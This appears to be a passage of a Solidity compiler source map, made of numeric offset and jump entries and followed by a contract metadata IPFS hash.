40:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:127::-;3010:10;3005:3;3001:20;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:422;3170:1;3213:5;3170:1;3227:270;3248:7;3238:8;3235:21;3227:270;;;3307:4;3303:1;3299:6;3295:17;3289:4;3286:27;3283:53;;;3316:18;;:::i;:::-;3366:7;3356:8;3352:22;3349:55;;;3386:16;;;;3349:55;3465:22;;;;3425:15;;;;3227:270;;;3231:3;3081:422;;;;;:::o;3508:806::-;3557:5;3587:8;3577:80;;-1:-1:-1;3628:1:1;3642:5;;3577:80;3676:4;3666:76;;-1:-1:-1;3713:1:1;3727:5;;3666:76;3758:4;3776:1;3771:59;;;;3844:1;3839:130;;;;3751:218;;3771:59;3801:1;3792:10;;3815:5;;;3839:130;3876:3;3866:8;3863:17;3860:43;;;3883:18;;:::i;:::-;-1:-1:-1;;3939:1:1;3925:16;;3954:5;;3751:218;;4053:2;4043:8;4040:16;4034:3;4028:4;4025:13;4021:36;4015:2;4005:8;4002:16;3997:2;3991:4;3988:12;3984:35;3981:77;3978:159;;;-1:-1:-1;4090:19:1;;;4122:5;;3978:159;4169:34;4194:8;4188:4;4169:34;:::i;:::-;4239:6;4235:1;4231:6;4227:19;4218:7;4215:32;4212:58;;;4250:18;;:::i;:::-;4288:20;;3508:806;-1:-1:-1;;;3508:806:1:o;4319:140::-;4377:5;4406:47;4447:4;4437:8;4433:19;4427:4;4406:47;:::i;4464:168::-;4504:7;4570:1;4566;4562:6;4558:14;4555:1;4552:21;4547:1;4540:9;4533:17;4529:45;4526:71;;;4577:18;;:::i;:::-;-1:-1:-1;4617:9:1;;4464:168::o;4637:356::-;4839:2;4821:21;;;4858:18;;;4851:30;4917:34;4912:2;4897:18;;4890:62;4984:2;4969:18;;4637:356::o;5962:306::-;6050:6;6058;6066;6119:2;6107:9;6098:7;6094:23;6090:32;6087:52;;;6135:1;6132;6125:12;6087:52;6164:9;6158:16;6148:26;;6214:2;6203:9;6199:18;6193:25;6183:35;;6258:2;6247:9;6243:18;6237:25;6227:35;;5962:306;;;;;:::o;6552:277::-;6619:6;6672:2;6660:9;6651:7;6647:23;6643:32;6640:52;;;6688:1;6685;6678:12;6640:52;6720:9;6714:16;6773:5;6766:13;6759:21;6752:5;6749:32;6739:60;;6795:1;6792;6785:12;6834:251;6904:6;6957:2;6945:9;6936:7;6932:23;6928:32;6925:52;;;6973:1;6970;6963:12;6925:52;7005:9;6999:16;7024:31;7049:5;7024:31;:::i;9427:125::-;9467:4;9495:1;9492;9489:8;9486:34;;;9500:18;;:::i;:::-;-1:-1:-1;9537:9:1;;9427:125::o;9557:128::-;9597:3;9628:1;9624:6;9621:1;9618:13;9615:39;;;9634:18;;:::i;:::-;-1:-1:-1;9670:9:1;;9557:128::o;10881:135::-;10920:3;-1:-1:-1;;10941:17:1;;10938:43;;;10961:18;;:::i;:::-;-1:-1:-1;11008:1:1;10997:13;;10881:135::o;11153:127::-;11214:10;11209:3;11205:20;11202:1;11195:31;11245:4;11242:1;11235:15;11269:4;11266:1;11259:15;11285:980;11547:4;11595:3;11584:9;11580:19;11626:6;11615:9;11608:25;11652:2;11690:6;11685:2;11674:9;11670:18;11663:34;11733:3;11728:2;11717:9;11713:18;11706:31;11757:6;11792;11786:13;11823:6;11815;11808:22;11861:3;11850:9;11846:19;11839:26;;11900:2;11892:6;11888:15;11874:29;;11921:1;11931:195;11945:6;11942:1;11939:13;11931:195;;;12010:13;;-1:-1:-1;;;;;12006:39:1;11994:52;;12101:15;;;;12066:12;;;;12042:1;11960:9;11931:195;;;-1:-1:-1;;;;;;;12182:32:1;;;;12177:2;12162:18;;12155:60;-1:-1:-1;;;12246:3:1;12231:19;12224:35;12143:3;11285:980;-1:-1:-1;;;11285:980:1:o;12270:217::-;12310:1;12336;12326:132;;12380:10;12375:3;12371:20;12368:1;12361:31;12415:4;12412:1;12405:15;12443:4;12440:1;12433:15;12326:132;-1:-1:-1;12472:9:1;;12270:217::o

ipfs://23896329c33bff14ed3ce0a83bb2e282fab2649db67a4eb6830a06175b3ee544